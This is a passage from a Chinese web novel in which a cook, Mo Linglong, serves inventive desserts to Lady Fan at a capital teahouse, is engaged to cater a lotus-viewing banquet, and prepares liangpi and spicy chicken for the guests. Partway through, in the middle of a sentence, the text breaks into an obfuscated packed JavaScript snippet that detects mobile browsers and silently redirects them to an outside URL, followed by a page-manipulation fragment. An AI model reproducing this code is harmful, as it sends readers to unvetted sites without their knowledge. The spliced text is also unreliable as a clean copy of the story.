在铁匠铺定制了烤网，再调试了半个来月烤炉的火候，总算改装成功，可以稳定一炉出400片饼干啦！ 听店小二周大形容想见她的客人模样，便知是范氏主仆来了。 今天店里供应的两样，她猜想范氏一定都会点，便动手另做一款旁人还未尝过的酒酿藕粉圆子。 自从有了玉酪后，酥酪卖得大不如前，酒酿常有剩的。 何芷有意减少酿制的量，但莫玲珑让她不用担心，尽管酿。 她观察了一段时间，茶楼里的甜品销路不愁，但在介绍蛋白杏汁时多嘴一句能润白肌肤后，明显点的人多了，且都是女客。 女子天性爱美，未必是为了取悦男人。 沾上美之后，女性的购买力从古至今都很强悍。 酒酿这种恩物，自然有的是出头机会。 把松饼从炉子里一层层取出摊晾，她拿出昨天就准备好的黑洋酥，掺入烤香的松子仁，搓成小小的圆子。 在鹅毛雪片状的藕粉里滚圆，入沸水烫出透明皮子，再反复几次滚粉，就得了一盘子晶莹剔透的藕粉圆子。 酒酿汤底就更容易，煮开了水下入酒酿，再拿剩下的藕粉做芡勾稠。 圆子晶莹，微微透出里面黑色的芯子，深深浅浅浮在玻璃一样透亮的酒酿底里，糯米粒粒分明，黑白相间，点缀着几颗红艳艳的枸杞，煞是好看。 做完这小锅甜汤，松饼便已晾凉，她分出堂食部分，一份份盛在垫了油纸的竹编小框里。 再装完瓷罐，交给守着外卖摊头的小二，便端了甜汤去找范氏。 楼上，范氏母子俩已经吃上甜品。 沈小爷扒着玉酪的碗吃得两眼放光，范氏则小口啜饮着蛋白杏汁，一脸享受。 她越喝越觉得喜欢。 这种精致饮子，她自然也喝过。 往常皇后身体好的时候主持亲蚕礼，宫里有一道杏仁浆，滋味也好。 但不如莫玲珑做的滑润香甜。 “还真的是你！”青翠最先注意到莫玲珑，再看到她手里的汤羹，失声惊叹道，“真漂亮，这是什么？” 范氏看到她手中白底绿瓷鸡心碗里的甜汤时，对心烦了好一阵的赏荷宴，忽然有了个绝妙的主意。 15. 第 15 章 “怎么来上京办事，也不找我？要不是瑞儿嘴馋，天天把你名字挂嘴上，让他爹留意着，还不知道你悄悄开了这家店呢！”范氏一遍嗔怪，一边把莫玲珑往自己身边拉，硬要她坐下。 青翠在旁边吃得不吱声。 心想这客气话忒空，她哪里会随便与人方便？ 生怕一个不小心，碍了沈府尹的前程哩。 “我的小事哪好意思麻烦你，而且这也不是我的店，我就想试试这些小吃甜点适不适合上京人的口味。”莫玲珑替她们用小碗盛酒酿汤，笑着说：“来，尝尝我刚做的水晶酿羹，也没对外卖过，这个汤羹用的材料都补气血，夫人多吃点。” 她拿上来的碗用冰镇过，本还有一丝热气的糖水，被冰冰的碗一激，顿时温凉下来。 范氏喜欢独一无二的东西。 光听这羹的名字就喜欢，又听她说没给店里做过，心里更觉熨帖。 再看甜羹的色面，像它名字一样晶莹透亮，盛在白底绿飘花的瓷碗里，平白多了一分清凉的意境。 入口只觉清甜中带着微微酒意，糯米粒儿抿在嘴里绵软化开，层次分明。 “我做姑娘家的时候也爱吃酒酿，这里啊，都叫醪糟，爱用鸡蛋一块儿做，你这个小汤圆倒是特别。”她又舀了个藕粉圆子。 一咬之下，弹牙的藕粉皮子露出里面已经融化的黑洋酥，香甜丝滑盈了满口，最令人惊喜的是喷香肥润的松子仁。 居然有这么多层次口感！ 她立刻又喝了一口汤羹，中和满口的香甜。 这口终于品出这碗羹的妙处来，层次分明的香、甜、滑，弹口感，口口都惊喜。 即便不算爱吃甜食的范氏，不觉间也吃了一碗下肚。 而自家儿子，正在发急。 只因莫玲珑则叮嘱青翠别给他吃圆子的皮：“那皮不好嚼碎，小少爷只吃里头馅子就好。” 青翠动作慢，沈小爷十分不满地催促：“快，快点……” 等终于吃到嘴里，大大的眼睛瞬时亮起来：“好吃！香香！” 能不香么？ 松子仁，黑芝麻酥，香透天灵盖了。 本就起心动念了的范氏，当即下定决心，说：“莫姑娘，我就不说客套话了，想请你来帮我操持一场宴的甜品汤水，不知你愿不愿意？” 她倒是想全部托给莫玲珑，但京中闺秀夫人的口味一向众口难调，照之前的规矩办，纵然不出彩，也不出错。 不过加上这些点心甜汤，她觉得能稳住局面之外，博点彩头。 范氏看着她，露出满是期待的表情。 莫玲珑面色无波，心里却是一动。 她选择跟何芷合作，就是冲着荷风茶楼的得天独厚。 位置挨着内城，可以监视到陆如冈的行踪，茶楼又是天生适合传播消息的所在。 她初来乍到上京，先听了一段时间街头闲话，打听了此地的世面行情。 她对选品有信心，足够新奇别致。 再通过茶客交口传播信息…… 瞧，很快就把范氏引来了。 她浅浅一笑：“夫人看得上我的手艺，自然愿意。” 范氏满意：“那等日子定下来，我让青翠过来一趟。” 虽然年年由她出面组织这赏荷宴，但日子一向是身份最贵重的那位来定。 去年是首辅夫人，今年说不定公主都会来——要不然她哪会如此烦心，早早回上京操持？ 如今一件事了，范氏松了口气，看儿子不声不响在一旁吃完了一整碗酒酿羹，小脸透着乐，心里更是一宽，便话家常：“莫姑娘现在住哪呢？” “就住店里，东家分了我一间房住。”莫玲珑看孩子意犹未尽的样子，把刚烤完的松饼推到他面前，沈小爷果然眼神一亮，抓起就啃：“香！” “是啊，我改良了一下方子，比原来你吃的都要香。” 莫玲珑也是靠一己之力，做出黄油了。 何芷找来的牛奶是水牛产的奶，乳脂丰富，用来打黄油产量颇为惊人。 剩下的奶不适合做玉酪和酥酪，但煮稠了加上大量的糖，浓缩成炼乳，好几样甜品用得着，也不浪费。 所以，她现在做的松饼，严格意义上说，就是现代的曲奇了。 而这里，油，糖产量都低，自然价格也贵，平时吃点香口甜口的零嘴，都是奢侈。 人类基因里，却又刻着对甜食的热爱。 莫玲珑做的甜品，哪怕成本高企，定价不低，也从推出之日起，有了拥趸。 “好吃！”沈小爷给的情绪价值足足的。 又一想到在船上吃的饭菜，他就好想好想，想得有些要哭，小鼻子一酸，“想吃香香饭。” “哟，他还惦记你的手艺呢！”范氏搂过儿子说：“也不知怎么的，你做的就是合他口味，教了家里的厨子怎么做，也做不出你那个味来！” “不是我做得多好，可能是夫人家的菜好，用的油也多，对孩子来说容易腻。在船上的时候，我怕菜要坏，素菜做得多，荤菜也多是炖煮的。” 沈小爷只是胃口偏好，不爱滋腻，而喜欢鲜明爽口。 而刚巧，她一向在努力钻研的就是拒绝各种添加剂，也能做出好味道。 莫玲珑从来不敢托大自己的手艺多么高明。 人外有人天外有天，她有很多不起眼的小技巧，就是从别人那里学来的。 这段时间，她从何芷口中听了不少上京美食，虽然暂时没攒下多少银钱去品尝，但她认为能在竞争激烈的上京立足的馆子，都有自己的拿手绝活。 她比沈府厨子强的，或许只是看得多。 对方只做给沈家人吃，只用琢磨主人的喜好，而她是开餐厅的，迎合多数人口味才是她的本分。 更何况在现代，只要想学，多的是信息和渠道。 莫玲珑的话，又说到了范氏心坎里：“可不是呢？！这孩子是跟我们胃口不太一样，我也是看他吃你做的，才知他爱吃酸，爱吃辣。” 她家灶上的管事，是她从娘家带到上京的陪嫁。 擅长浓油赤酱的江南菜，都是她爱吃的味道。 最近学了几道辣菜，但还不像样。 青翠见沈小爷赖着不想走的样子，又看时辰不早，提议道：“不如咱们请莫娘子给二少爷做点儿吃的带回去？” 她们本只想着过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725964|173738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看，买上一罐子松饼回去。 结果真碰到了人，这一聊日头不知不觉落了下去。 连街上的声音都小了几分，窗外密密的屋脊里，已有炊烟升起。 青翠有自己的小九九。 要是能让二少爷在这吃完饭就好了，可不想再听李嬷嬷唠叨追不动这位小爷！ 莫玲珑有些意外。 倒是不介意她们留下吃，只是……今天做了很多饼干，剩下不少面筋和淀粉，她早已打算好了要做凉皮吃。 她坦然一笑：“不怕夫人笑话，灶房没准备什么菜，我晚上一般吃得随便，今天准备做凉皮吃，要是不介意粗糙简单，欢迎尝尝。” 范氏当然没吃过凉皮，问青翠也是一脸茫然。 倒是有个护卫吱声：“是我老家的小吃，滑爽的皮子拌了红油，酸辣开胃。” 听见开胃俩字，范氏当即就说：“你尽管做来！” 见范氏坚持，莫玲珑下楼去做凉皮。 材料是现成的，做起来很快。 滑溜透亮的凉皮，弹牙的面筋，爽口的黄瓜丝，用多多的红油酱油和米醋拌匀，点缀上白芝麻，花生碎，和点点青葱香菜。 因为有客，莫玲珑觉得不成样子，决定加个菜。 她找何芷借了半只嫩鸡，煮熟浸冰水后撕成条，调料也都是现成的，只最后炒熟了一小把花椒碾碎拌进去。 这就得了椒麻口水鸡。 莫玲珑留好自己的份量后，端着喷香的两大盆上楼。 她精心配的辣椒粉做出的红油太香，一路引茶客探头侧目，垂涎欲滴。 有认出她的老茶客问能不能买，莫玲珑只能推说是自家吃的，不卖。 雅间里，楼下排队买松饼的侍卫已经上来，侯在一旁。 沈小爷双手扒着玉酪的瓷碗，跟范氏对峙出了一夫当关万夫莫开的气势。 等看到莫玲珑手里的盆，闻到喷香的味道，沈小爷就自觉放下了甜食。 那酸辣鲜香的味儿直往鼻子里钻，真香啊！ 他伸手过来扒拉，没控制住口水从嘴角流下来：“香香……瑞儿要吃！” 众人看得直笑。 尤其是范氏，已经很久没看到胃口大开的儿子了，笑得没保持住形象。 莫玲珑把两只碗推到他面前：“行吧。都给你。” 瞥见范氏带来的精美提篮已经装好了店里的甜品，显是准备回去了，这两碗实在是计划外的。 她说：“瞧我，漏拿了食盒，不然你们怎么好拿。” 心想，只能先找何芷借用了，也不知方不方便。 她刚要下楼，就在楼梯口碰到了手里拿着提篮的何芷。 原来，她端着凉皮上楼一路惹得茶楼里骚动不已，何芷听店小二说了情形后，忙送过来。 小声说：“怪我没给你准备，下回尽可找我，这些物件我总是有的！” 莫玲珑谢她体贴，拿去装了凉皮和口水鸡，送走范氏母子和主仆一行人。 等何芷从莫玲珑处得知，范氏今天来，是找莫玲珑去她内城东坊的沈府做汤水甜品，她忽然跪下来恳求道：“莫娘子，求你，能不能……把我也捎上？”